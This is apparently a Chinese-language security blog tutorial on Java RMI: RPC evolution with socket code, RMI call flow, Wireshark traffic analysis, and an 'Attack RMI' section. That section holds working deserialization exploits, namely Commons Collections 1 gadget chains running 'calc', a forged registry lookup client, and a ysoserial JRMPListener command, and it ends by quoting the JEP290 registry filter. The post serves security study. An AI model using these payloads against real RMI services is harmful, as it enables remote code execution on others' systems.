RMI协议原理/详解及流量分析



title: Java 反序列化漏洞(一)–RMI 协议原理/详解及流量分析
date: 2021-06-02 21:36:25
categories: Java 安全

[TOC]

0x00 前言

RMI 在 Java 里面还是很常用的,后续 Java 安全章节也会涉及到诸多 RMI 的问题

0x01 RMI 简介

1. RMI 概述

  • 引自Java 平台标准 6
    RMI 指的是远程方法调用 (Remote Method Invocation)。它是一种机制,能够让在某个 Java 虚拟机上的对象调用另一个 Java 虚拟机中的对象上的方法。可以用此方法调用的任何对象必须实现该远程接口。调用这样一个对象时,其参数为 “marshalled” 并将其从本地虚拟机发送到远程虚拟机(该远程虚拟机的参数为 “unmarshalled”)上。该方法终止时,将编组来自远程机的结果并将结果发送到调用方的虚拟机。如果方法调用导致抛出异常,则该异常将指示给调
    用方。
  • 简单来说就是:本地调用远程机器上的方法使用 RMI 可以像调用本地方法一样,屏蔽了通信内容,且无需担心 JVM 中对象的不同(跨 JVM 操作)

2. RMI 能帮我们做什么

  1. 跨站调用信息
    比如两个网站,A 网站可以使用 B 网站的用户信息,给 A 传入 id 查询 B 网站用户信息,但是数据库又不想暴露给太多 ip,这时候可以用 rmi 调用 B 网站的 UserDaoImpl,将数据库的信息查出来再返回给 A
  2. 避免重复造轮子
    假设服务器上有很多对象和方法,且是一系列的调用。如果想把这些都拿下来本地使用,不仅麻烦,还很不安全(服务器暴露本地文件,需要再做防护,避免被攻击,加大运行成本);这时候使用 rmi,服务器只暴露需要被调用的方法等待客户端使用即可

0x02 RPC

1. 什么是 RPC

  • 引自Java 安全之 RMI 协议分析-nice_0e3
    RPC(Remote Procedure Call)—远程过程调用,它是一种通过网络从远程计算机程序上请求服务,而不需要了解底层网络技术的协议。RPC 协议假定某些传输协议的存在,如 TCP 或 UDP,为通信程序之间携带信息数据。在 OSI 网络通信模型中,RPC 跨越了传输层和应用层。RPC 使得开发包括网络分布式多程序在内的应用程序更加容易。RPC 采用客户机/服务器模式。请求程序就是一个客户机,而服务提供程序就是一个服务器。
  • 小结:
    归根结底还是 TCP/IP 实现(最最底层来说还是二进制的传输),而上述 RMI 就是使用 Java 实现了 RPC。使用了 RPC/RMI 后我们就不需要再去接触底层网络协议,直接使用即可。由于 RPC 的使用还是过于麻烦,Java RMI 便由此产生

2. RPC 的演变

可以先去看看马士兵老师的视频,讲的很棒

https://www.bilibili.com/video/BV1zE41147Zq?from=search&seid=13740626242455157002

RPC 的诞生还是起源于分布式的使用,最开始的系统都是在一台服务器上,这样本地调用本无问题,随着网络爆炸式的增长,单台服务器已然不满足,出现了分布式,接口和实现类分别放到了两个服务器上,怎么调用?JVM 不同,内存地址不同,不可能直接访问调用。

比如在 A 服务器上有 UserDaoImpl 类,B 服务器没有,但是只想调用 UserDaoImpl.getUserInfo,那么可以仿造 B/S 架构,A 暴露接口,B 调用接口间接调用 UserDaoImpl.getUserInfo。但是这种写法每次都要写一大串的 http requests response,服务端也要写接收,过于麻烦;且改动 UserDaoImpl 类客户端与服务端都要修改。这就是马士兵老师讲的第一版 RPC。

能不能将 http request 代码封装起来,屏蔽底层的网络协议,用代理生成一个对象直接进行调用,岂不美哉。

简略说说演变,不想看的请跳转至 0x03 篇章

第一版 RPC

最开始的通信就是利用 TCP/IP,而在 Java 中使用 Socket 编程抽象使用 TCP/IP

client:

package com.yq1ng.rpc;

import com.yq1ng.common.User;

import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.net.Socket;

public class client {
    public static void main(String[] args) throws Exception {

        //  创建对象,写入需要查询的id
        Socket socket = new Socket("127.0.0.1", 8888);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        DataOutputStream dataOutputStream = new DataOutputStream(byteArrayOutputStream);
        dataOutputStream.writeInt(888);

        //  转为二进制,清除缓存(否则会下次转二进制为空)
        socket.getOutputStream().write(byteArrayOutputStream.toByteArray());
        socket.getOutputStream().flush();

        //  获取server返回值
        DataInputStream dataInputStream = new DataInputStream(socket.getInputStream());
        int id = dataInputStream.readInt();
        String name = dataInputStream.readUTF();
        User user = new User(id,name);

        System.out.println(user);

        dataOutputStream.close();
        socket.close();
    }
}

server:

package com.yq1ng.rpc;

import com.yq1ng.common.User;
import com.yq1ng.common.UserService;

import java.io.*;
import java.net.ServerSocket;
import java.net.Socket;

public class server {
    private static boolean is_running = true;

    public static void main(String[] args) throws Exception {

        ServerSocket serverSocket = new ServerSocket(8888);

        while (is_running) {
            System.out.println("服务端已启动,正在监听 8888 端口,等待客户端连接...");
            Socket socket = serverSocket.accept();
            System.out.println("捕获到客户端请求...");
            process(socket);
            socket.close();
        }
        serverSocket.close();
    }

    private static void process(Socket socket) throws Exception {

        //  接收client请求参数
        InputStream in = socket.getInputStream();
        OutputStream out = socket.getOutputStream();
        DataInputStream dataInputStream = new DataInputStream(in);
        DataOutputStream dataOutputStream = new DataOutputStream(out);


        int id = dataInputStream.readInt();
        System.out.println("客户端请求id = " + id);
        UserService userService = new UserServiceImpl();
        //  调用函数(调用其他函数还需更改,很麻烦)
        User user = userService.findUserById(id);
        dataOutputStream.writeInt(user.getId());
        dataOutputStream.writeUTF(user.getName());
        dataOutputStream.flush();
    }
}

如同 B/S 一样,服务端处理,客户端只需请求。但从代码可以看出弊端,代码量很大,且更改 user 后 client 和 server 都需要更改,程序员还需要掌握底层网络协议的知识。而且网络传输代码与业务代码混淆在一起很不便于维护。

第二版 RPC

在写第一版的时候应该就想到了直接把网络传输部分抽出来不就与业务代码不混淆了嘛,还能重复利用。聪明,确实如此,抽出来以后的网络传输部分叫做stub(后面一直说的stub就是封装好了的一大段关于网络层的调用)。这就是第二版 rpc,不写啦

但是这样还是不行鸭,只能使用 findUserById,我要是用 findUserByName 呢,还要改。。。我想要动态代理实现所有方法!

第三版 RPC

使用 JDK 动态代理来实现只写一个代理就可以调用所有想调用的函数,此版本改动很大

client:

package com.yq1ng.rpc;

import com.yq1ng.common.UserService;

public class client {
    public static void main(String[] args) {
        UserService service = Stub.getStub();
        System.out.println(service.findUserById(666));
        System.out.println(service.findUserByName("yq1ng"));
    }
}

Stub:

package com.yq1ng.rpc;

import com.yq1ng.common.User;
import com.yq1ng.common.UserService;

import java.io.DataInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.net.Socket;

public class Stub {
    public static UserService getStub() {
        InvocationHandler handler = new InvocationHandler() {

            public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {

                Socket socket = new Socket("127.0.0.1", 8888);

                ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());

                String methodName = method.getName();
                Class[] parameterTypes = method.getParameterTypes();
                objectOutputStream.writeUTF(methodName);
                objectOutputStream.writeObject(parameterTypes);
                objectOutputStream.writeObject(args);
                objectOutputStream.flush();

                ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
                User user = (User) objectInputStream.readObject();

                objectOutputStream.close();
                socket.close();
                return user;
            }
        };
        Object object = Proxy.newProxyInstance(UserService.class.getClassLoader(),
                new Class[] {UserService.class},
                handler);
        return (UserService) object;
    }
}

server:

package com.yq1ng.rpc;

import com.yq1ng.common.User;
import com.yq1ng.common.UserService;
import com.yq1ng.common.UserServiceImpl;

import java.io.*;
import java.lang.reflect.Method;
import java.net.ServerSocket;
import java.net.Socket;

public class server {
    private static boolean is_running = true;

    public static void main(String[] args) throws Exception {

        ServerSocket serverSocket = new ServerSocket(8888);

        while (is_running) {
            System.out.println("服务端已启动,正在监听 8888 端口,等待客户端连接...");
            Socket socket = serverSocket.accept();
            System.out.println("捕获到客户端请求...");
            process(socket);
            socket.close();
        }
        serverSocket.close();
    }

    private static void process(Socket socket) throws Exception {

        //  接收client请求参数
        InputStream in = socket.getInputStream();
        OutputStream out = socket.getOutputStream();
        ObjectInputStream objectInputStream = new ObjectInputStream(in);
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(out);

        String methodName = objectInputStream.readUTF();
        Class[] parameterTypes = (Class[]) objectInputStream.readObject();
        Object[] args = (Object[]) objectInputStream.readObject();

        System.out.println("客户端请求方法为:" + methodName);

        UserService userService = new UserServiceImpl();
        Method method = userService.getClass().getMethod(methodName, parameterTypes);
        User user = (User) method.invoke(userService, args);

        objectOutputStream.writeObject(user);
        objectOutputStream.flush();
    }
}

这样写客户端方面 UserService 接口的所有方法都可以被代理,即使新增其他方法,Stub 也不用修改

服务端返回的是 user 对象,即使实体类新增/删除属性也可以正常返回而不做修改

此版本可以说是飞一样的进步,但是弊端也很明显,只能代理 UserService ,如果新增接口呢?

第四版 RPC

此版本已经是比较成型的 rpc 辣,不仅屏蔽了底层网络协议的代码,还支持动态代理任意服务器可被代理的方法

client:

package com.yq1ng.rpc;

import com.yq1ng.common.StudentService;
import com.yq1ng.common.UserService;

public class client {
    public static void main(String[] args) {
        StudentService studentService = (StudentService) Stub.getStub(StudentService.class);
        System.out.println(studentService.findStudentById(888));
        System.out.println(studentService.findStudentByName("yq1ng"));
        UserService userService = (UserService) Stub.getStub(UserService.class);
        System.out.println(userService.findUserById(888));
        System.out.println(userService.findUserByName("yq1ng"));
    }
}

Stub:

package com.yq1ng.rpc;

import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.net.Socket;

public class Stub {
    public static Object getStub(final Class clazz) {

        InvocationHandler handler = new InvocationHandler() {

            public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {

                Socket socket = new Socket("127.0.0.1", 8888);

                ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());

                String clazzName = clazz.getName();
                String methodName = method.getName();
                Class[] parameterTypes = method.getParameterTypes();

                objectOutputStream.writeUTF(clazzName);
                objectOutputStream.writeUTF(methodName);
                objectOutputStream.writeObject(parameterTypes);
                objectOutputStream.writeObject(args);
                objectOutputStream.flush();

                ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
                Object response = objectInputStream.readObject();

                objectInputStream.close();
                objectOutputStream.close();
                socket.close();
                return response;
            }
        };
        Object object = Proxy.newProxyInstance(clazz.getClassLoader(),
                new Class[] {clazz},
                handler);
        return object;
    }
}

server:

package com.yq1ng.rpc;

import com.yq1ng.common.StudentServiceImpl;
import com.yq1ng.common.UserServiceImpl;

import java.io.*;
import java.lang.reflect.Method;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.HashMap;

public class server {
    private static boolean is_running = true;
    private static final HashMap<String, Object> REGISTRY_MAP = new HashMap();

    public static void main(String[] args) throws Exception {

        // 向注册中心注册服务
        REGISTRY_MAP.put("com.yq1ng.common.UserService", new UserServiceImpl());
        REGISTRY_MAP.put("com.yq1ng.common.StudentService", new StudentServiceImpl());

        ServerSocket serverSocket = new ServerSocket(8888);

        while (is_running) {
            System.out.println("服务端已启动,正在监听 8888 端口,等待客户端连接...");
            Socket socket = serverSocket.accept();
            System.out.println("捕获到客户端请求...");
            process(socket);
            socket.close();
        }
        serverSocket.close();
    }

    private static void process(Socket socket) throws Exception {

        //  接收client请求参数
        InputStream in = socket.getInputStream();
        OutputStream out = socket.getOutputStream();
        ObjectInputStream objectInputStream = new ObjectInputStream(in);
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(out);

        //  获取服务名、方法名、形参类型、参数
        String serviceName  = objectInputStream.readUTF();
        String methodName = objectInputStream.readUTF();
        Class[] parameterTypes = (Class[]) objectInputStream.readObject();
        Object[] args = (Object[]) objectInputStream.readObject();

        System.out.println("代理接口为:" + serviceName);
        System.out.println("客户端请求方法为:" + methodName);

        //  从注册中心获取服务
        Object serverObject = REGISTRY_MAP.get(serviceName);

        //  通过反射调用服务方法
        Method method = serverObject.getClass().getMethod(methodName, parameterTypes);
        Object resp = method.invoke(serverObject, args);

        objectOutputStream.writeObject(resp);
        objectOutputStream.flush();
    }
}

关于 server 中的注册就是相当于一个字典,一个类的全限定名加上其实例地址

这就是最基础的 rpc 了,剩下的就是细节优化,jdk 的序列化太过臃肿,需要使用其他框架代替,常用 Hessian,grpc 等等,不提了,有兴趣可以自己搜索看看

演变小结

RPC 通信流程

图里面画错了一个,右面是的 Server Stub(Skeleton–骨架)

Client Stub(客户端存根):存放服务器地址消息,将客户端请求参数打包为网络消息,发送给服务端

Server Stub(服务端存根):接收客户端请求消息,解包,调用本地服务,返回调用结果

可以看出来,最主要的还是网络协议,双方约定好了如何打包,如何解包,所以 RPC 较为开放,你可以使用 TCP、UDP、HTTP 甚至是自定义协议

RPC 与 HTTP 有差吗

  • 传输协议
    • RPC:较为灵活
    • HTTP:基于 TCP
  • 传输效率
    • RPC:使用二进制进行网络传输,体积更小,效率更高
    • HTTP:如果是基于 HTTP1.1 的协议,请求中会包含很多无用的内容,如果是基于 HTTP2.0,那么简单的封装以下是可以作为一个 RPC 来使用的

小结

RPC 需要双方使用相同协议,约定如何实现打包、解包;比如都使用 Hession/dubbo 等。而 HTTP 不用关心这些,双方只需遵循 rest 规范即可

RPC 相对于开发而言要求较多,需要服务端提供接口代码

0x03 RMI 执行流程

  1. 首先定义一个接口,既然要提供服务那么接口一定不可少的
  • 需要供客户端使用的接口必须继承或实现java.rmi.Remote
  • 为什么?因为远程对象可能有很多方法,但是只有被 Remote 标识的接口内方法才可以被远程调用。
  • 由于其本质还是网络传输,而网络传输是不安全的,异常经常会有,所以接口内的每个方法都要声明抛出java.rmi.RemoteException异常,而这个异常的父类其实是IOException
  1. 有了接口还要一个实现类
  • 接口实现类应直接或间接继承java.rmi.server.UnicastRemoteObject
  • java.rmi.server.UnicastRemoteObject 类 的构造函数通过 JRMP 导出远程对象并获取与远程对象通信的 Stub(存根),Stub 将在运行时使用动态代理对象生成(或者在构建时静态生成,通常使用rmic工具)
    但现在不推荐使用静态存根,该方法已被废弃(Java1.5 之后)
  • serialVersionUID属性必须存在且需要和客户端一致才可进行反序列化,否则会报错。这个属性是唯一标识,在看其他框架或者 jar 包的时候里面的类也会有这个属性,此属性如果是默认的话是可以被计算的,所以推荐开发的时候自定义一个
  1. 万事俱备,写服务端,注册服务(从 RPC 第四版可以看出 register 相当于一个 dict,用于客户端查询要调用方法的引用)
  • 第九行 实例化对象时会自动调用父类构造函数,返回 Stub
  • 第十行 监听端口,默认为 1099
  • 第十一行 将 hello 对象绑定至 URLrmi://localhost:1099/hello,这样客户端只需访问此 URL 即可远程调用服务,不必知道服务端实例化的名称是什么
  1. 编写客户端

    客户端就比较简单,只需要通过Naming.lookup()将远程对象拿到手即可调用服务

交互流程

图片来源:https://xz.aliyun.com/t/9053,我就不自己画了

0x04 Wireshark 抓包分析

过滤器使用rmi即可过滤出 rmi 协议包。选择第一个,跟踪 TCP 流,首先就是经典的 TCP 三次握手

然后是一个协议确认,文档传送门,客户端向服务器发送了StreamProtocol用于确认服务器是否支持此协议

插一句:每一个 RMI 包下的 TCP 包都是一个数据确认包

再往下就是服务器的确认包,还是上面那个文档,确认包包含了服务器可以看到的客户端的 hostname 及 port

后面的包都是从宿主机与 kali 的通信,看起来舒服些,ip 不同了

然后是客户端发给服务器一个 ip 地址

右方的是 kali 里面抓的包

我个人猜测是 client 的 ip,毕竟官方文档说是服务器看见的客户端的 ip,但是客户端的真实 ip 不一定是你(服务端)看到的

下面这个包是客户端向服务器发送编码过的类名(晚上太晚了,流量包没存下来,又在 kali 上重新抓的包,看起来也更舒服,win 下抓的包太多了),可以看到是序列化过的(0xACED 就是反序列化的标识),可以使用SerializationDumper 工具来查看内容,总的来说就是获取远程调用对象

翻看文档可以知道,rmi 有三个输出消息: Call  Ping DgcAck

既然客户端发送了需求类名,那么服务器也会返回一个调用信息,看 JRMI,ReturnData 包,这其实是一个java.lang.reflect.Proxy对象。这里应该是和注册中心交互的,你给我需求,我给你动态代理

用工具看看包内容,在objectAnnotation中记录了 RMI Server 的地址与端口

拿到 RMI Server 的地址与端口后,Client 就会真正调用远程方法,但此时 wireshark 并未识别出 rmi,一个一个往下看,在 21 号包找到调用信息,看下面的 Data 字段,50 正是 RMI Call Data

23 号包为响应包

下面是服务器与客户端的 jrmi ping,没啥说的

在下面的 DgcAck 上面说了,是是指向服务器的分布式垃圾收集器的确认,它指示客户端已接收到服务器返回值中的远程对象

在下面就是客户端向服务器发送参数,服务器执行后将结果返回给客户端

然后?然后就没然后了,RMI 调用完成,TCP 断开连接

0x05 关于真正的远程调用(server 与 client 不在一台机器上)

服务端

先看服务端 ip,接着在函数最开始处加上一句话System.setProperty("java.rmi.server.hostname", "192.168.174.144"); ,必须是开始处,不然会报错,详情看官方文档,启动服务器时,也就是脚本启动时,放到函数最开始就行了

然后生成存根rmic rmi.server.HelloImpl,在 idea 不需要这样但是命令行运行客户端需要有存根不然会 not found

然后执行javac rmi/server/*.java -classpath rmi/server/,Linux 编译时需添加 classpath,接着java rmi.server.HelloServer运行

客户端

看好服务端的包名,就是脚本最开始的package rmi.server;,客户端包名也要一样不然会报错,再创建一个和 server 一样的目录

将服务器生成的存根拷贝到 client,编译,运行

0x06 Attack RMI

一、按攻击方向分类

0x03 里面提到传输数据是序列化的,那么肯定有反序列化的地方(客户端、服务端、注册端)。很有趣,三者相爱相杀,每个人都可以攻击另外一个

1. 服务端攻击注册中心

问:为什么会有服务端攻击注册中心?拿了 shell 还需这样麻烦?   答:在低版本的 JDK 中,Server 与 Registry 是可以不在一台服务器上的,而在高版本的 JDK 中,Server 与 Registry 只能在一台服务器上,否则就无法注册成功;所以在 Server 与 Registery 分离的时候可以再拿下 Registery 的机器

一句话总结:Server 在 bind(name,obj)或 rebind(name,obj)向注册中心注册远程对象的时候 obj 都是以序列化的方式发送的,注册中心收到后会对其进行反序列化造成安全问题

服务端在与注册中心交互的方式有:list()bind()rebind()unbindlookup(),这几种方式在/rt.jar!/sun/rmi/registry/RegistryImpl_Skel#dispatch()中对应如下:

  • 0->bind
  • 1->list
  • 2->lookup
  • 3->rebind
  • 4->unbind

搜索readObject发现在 case 0 和 case 3 的时候有反序列化的操作

写一个测试,偷懒没写 cc 链子 2333

package com.yq1ng.ServerAttackRegistey;

import java.io.IOException;
import java.rmi.AlreadyBoundException;
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;

/**
 * @author ying
 * @Description
 * @create 2021-11-07 18:08
 */

public class BadServer {
    public static void main(String[] args) throws IOException, AlreadyBoundException {
        Process runtime = Runtime.getRuntime().exec("calc");
        LocateRegistry.createRegistry(1099);
        Naming.bind("rmi://localhost:1099/hello", (Remote) runtime);
        System.out.println("成功启动服务!");
    }
}

虽然报错了但是命令还是会执行。rebind 一样,不在赘述

2. 客户端攻击注册中心

注意使用低版本的 Java,这里我用的是 Java7u10

这里只介绍伪造请求,其余两种方式暂时不说的,有涉及其他的,篇幅太长了

一句话总结:由于 Client 只能传输字符串给 Registry,我们就需要伪造一个 lookup 进行恶意“查询”造成安全问题

同样,在rt.jar!/sun/rmi/registry/RegistryImpl_Stub#list()rt.jar!/sun/rmi/registry/RegistryImpl_Stub#lookup()中发现 readObject

但是利用就稍稍麻烦,因为我们只能传输字符串,不像 Server 传入 obj,所以这里就需要伪造连接请求进行利 rce,所谓伪造就是模仿原来的lookup()修改代码使其可以传入 obj,本次还是直接使用了Runtime.class,这样是有报错的,但是不影响,实战的话就要使用 cc 链或者其他的了。

package com.yq1ng.AttackRegistey;

import sun.rmi.server.UnicastRef;
import java.io.ObjectOutput;
import java.lang.reflect.*;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;

/**
 * @author ying
 * @Description
 * @create 2021-11-07 18:17
 */

public class BadClient {
    public static void main(String[] args) throws Exception {
        //  模拟注册中心
        LocateRegistry.createRegistry(1099);
        //  偷懒的gadget
        Process runtime = Runtime.getRuntime().exec("calc");
        //  强转对象
        Remote proxyObject = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, (InvocationHandler) runtime));
        //  获取注册对象的引用
        Registry registry_remote = LocateRegistry.getRegistry("127.0.0.1", 1099);
        // 获取super.ref
        Field[] fields_0 = registry_remote.getClass().getSuperclass().getSuperclass().getDeclaredFields();
        fields_0[0].setAccessible(true);
        UnicastRef ref = (UnicastRef) fields_0[0].get(registry_remote);

        // 获取operations
        Field[] fields_1 = registry_remote.getClass().getDeclaredFields();
        fields_1[0].setAccessible(true);
        Operation[] operations = (Operation[]) fields_1[0].get(registry_remote);

        // 跟lookup方法一样的传值过程
        RemoteCall var2 = ref.newCall((RemoteObject) registry_remote, operations, 2, 4905912898345647071L);
        ObjectOutput var3 = var2.getOutputStream();
        var3.writeObject(proxyObject);
        ref.invoke(var2);

        registry_remote.lookup("hello");
    }
}

使用 cc 的话不会报错,这里只是演示,减小代码量。

3. 注册中心攻击客户端

使用 ysoserial 起一个注册端(java -cp .\ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'calc'),然后客户端正常访问就可以达到反打客户端

4. 注册中心攻击服务端

同样,还是上面那条命令启动 ysoserial,正常的服务端绑定也会被打

5. 服务端攻击客户端

Java7u10(因为用的 cc1,可以改个 cc5 就能在 Java1.8 运行了)

一句话总结:服务端返回恶意对象供客户端使用造成安全问题

接口

package com.yq1ng.ServerAttackClient.server;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Hello extends Remote {
    Object sayHello() throws RemoteException;
}

实现类,使用了 cc1

package com.yq1ng.ServerAttackClient.server;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Constructor;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.*;


public class HelloImpl extends UnicastRemoteObject implements Hello {

    private static final long serialVersionUID = 1L;

    protected HelloImpl() throws RemoteException {
        super();
    }

    public Object sayHello() throws RemoteException {
        InvocationHandler handler = null;
        try {
            ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{
                            String.class, Class[].class}, new Object[]{
                            "getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke", new Class[]{
                            Object.class, Object[].class}, new Object[]{
                            null, new Object[0]}),
                    new InvokerTransformer("exec",
                            new Class[]{String.class}, new Object[]{"calc"})});
            HashMap innermap = new HashMap();
            Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
            Constructor[] constructors = clazz.getDeclaredConstructors();
            Constructor constructor = constructors[0];
            constructor.setAccessible(true);
            Map map = (Map) constructor.newInstance(innermap, chain);


            Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
            handler_constructor.setAccessible(true);
            InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class, map); //创建第一个代理的handler

            Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, map_handler); //创建proxy对象


            Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
            AnnotationInvocationHandler_Constructor.setAccessible(true);
            handler = (InvocationHandler) AnnotationInvocationHandler_Constructor.newInstance(Override.class, proxy_map);

        }catch(Exception e){
            e.printStackTrace();
        }

        return (Object)handler;
    }
}

服务端

package com.yq1ng.ServerAttackClient.server;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.util.concurrent.CountDownLatch;

public class HelloServer {
    public static void main(String[] args) {
        try {
            Hello hello = new HelloImpl();
            //  默认监听端口就是1099
            LocateRegistry.createRegistry(1099);
            //  绑定远程对象
            Naming.bind("rmi://localhost:1099/hello", hello);
            System.out.println("Hello Server 启动成功,正在监听 1099 端口,等待客户端连接...");
            CountDownLatch latch=new CountDownLatch(1);

            latch.await();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

客户端

package com.yq1ng.ServerAttackClient.client;

import com.yq1ng.ServerAttackClient.server.Hello;

import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;

public class HelloClient {
    public static void main(String[] args) throws RemoteException, NotBoundException, MalformedURLException, ClassNotFoundException, InvocationTargetException, InstantiationException, NoSuchMethodException, IllegalAccessException {
        Hello hello = (Hello) Naming.lookup("rmi://localhost:1099/hello");
        hello.sayHello();
    }
}

6. 客户端攻击服务端

一句话总结:这个和上面切好相反了,客户端传入恶意序列化后的类服务端反序列化造成安全问题

接口

package com.yq1ng.ClientAttackServer.server;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Hello extends Remote {
    void sayHello(Object name) throws RemoteException;
}

实现类

package com.yq1ng.ClientAttackServer.server;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;


public class HelloImpl extends UnicastRemoteObject implements Hello {

    private static final long serialVersionUID = 1L;

    protected HelloImpl() throws RemoteException {
        super();
    }

    public void sayHello(Object name) throws RemoteException {
        System.out.println(name);
    }
}

服务端

package com.yq1ng.ClientAttackServer.server;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class HelloServer {
    public static void main(String[] args) {
        try {
            Hello hello = new HelloImpl();
            //  默认监听端口就是1099
            LocateRegistry.createRegistry(1099);
            //  绑定远程对象
            Naming.bind("rmi://localhost:1099/hello", hello);
            System.out.println("Hello Server 启动成功,正在监听 1099 端口,等待客户端连接...");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

客户端

package com.yq1ng.ClientAttackServer.client;

import com.yq1ng.ClientAttackServer.server.Hello;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.util.HashMap;
import java.util.Map;

public class HelloClient {
    public static void main(String[] args) throws RemoteException, NotBoundException, MalformedURLException, ClassNotFoundException, InvocationTargetException, InstantiationException, NoSuchMethodException, IllegalAccessException {
        Hello hello = (Hello) Naming.lookup("rmi://localhost:1099/hello");
        hello.sayHello(BadSer());
    }
    public static Object BadSer(){
        InvocationHandler handler = null;
        try {
            ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{
                            String.class, Class[].class}, new Object[]{
                            "getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke", new Class[]{
                            Object.class, Object[].class}, new Object[]{
                            null, new Object[0]}),
                    new InvokerTransformer("exec",
                            new Class[]{String.class}, new Object[]{"calc"})});
            HashMap innermap = new HashMap();
            Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
            Constructor[] constructors = clazz.getDeclaredConstructors();
            Constructor constructor = constructors[0];
            constructor.setAccessible(true);
            Map map = (Map) constructor.newInstance(innermap, chain);


            Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
            handler_constructor.setAccessible(true);
            InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class, map); //创建第一个代理的handler

            Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, map_handler); //创建proxy对象


            Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
            AnnotationInvocationHandler_Constructor.setAccessible(true);
            handler = (InvocationHandler) AnnotationInvocationHandler_Constructor.newInstance(Override.class, proxy_map);

        }catch(Exception e){
            e.printStackTrace();
        }

        return (Object)handler;
    }
}

远程加载对象

条件苛刻,实战基本遇不到,不复现了

Bypass JEP290

JDK<=8u231

什么是 JEP290

官方文档传送门

简单说就是 Java 内置 filter,用来过滤传入的序列化数据,如果检查不合格就返回REJECTED  。

版本要求:jdk9 以后及 8u121, 7u131, 和 6u141

我的环境是 jdk1.8.0_202,JEP290 位置在rt.jar!/sun/rmi/registry/RegistryImpl#registryFilter()

private static Status registryFilter(FilterInfo var0) {
       if (registryFilter != null) {
           Status var1 = registryFilter.checkInput(var0);
           if (var1 != Status.UNDECIDED) {
               return var1;
           }
       }

       if (var0.depth() > 20L) {
           return Status.REJECTED;
       } else {
           Class var2 = var0.serialClass();
           if (var2 != null) {
               if (!var2.isArray()) {
                   return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
               } else {
                   return var0.arrayLength() >= 0L && var0.arrayLength() > 1000000L ? Status.REJECTED : Status.UNDECIDED;
               }
           } else {
               return Status.UNDECIDED;
           }
       }
   }

白名单如下:

String.class
Remote.class
Proxy.class
UnicastRef.class
RMIClientSocketFactory.class
RMIServerSocketFactory.class
ActivationID.class
UID.class

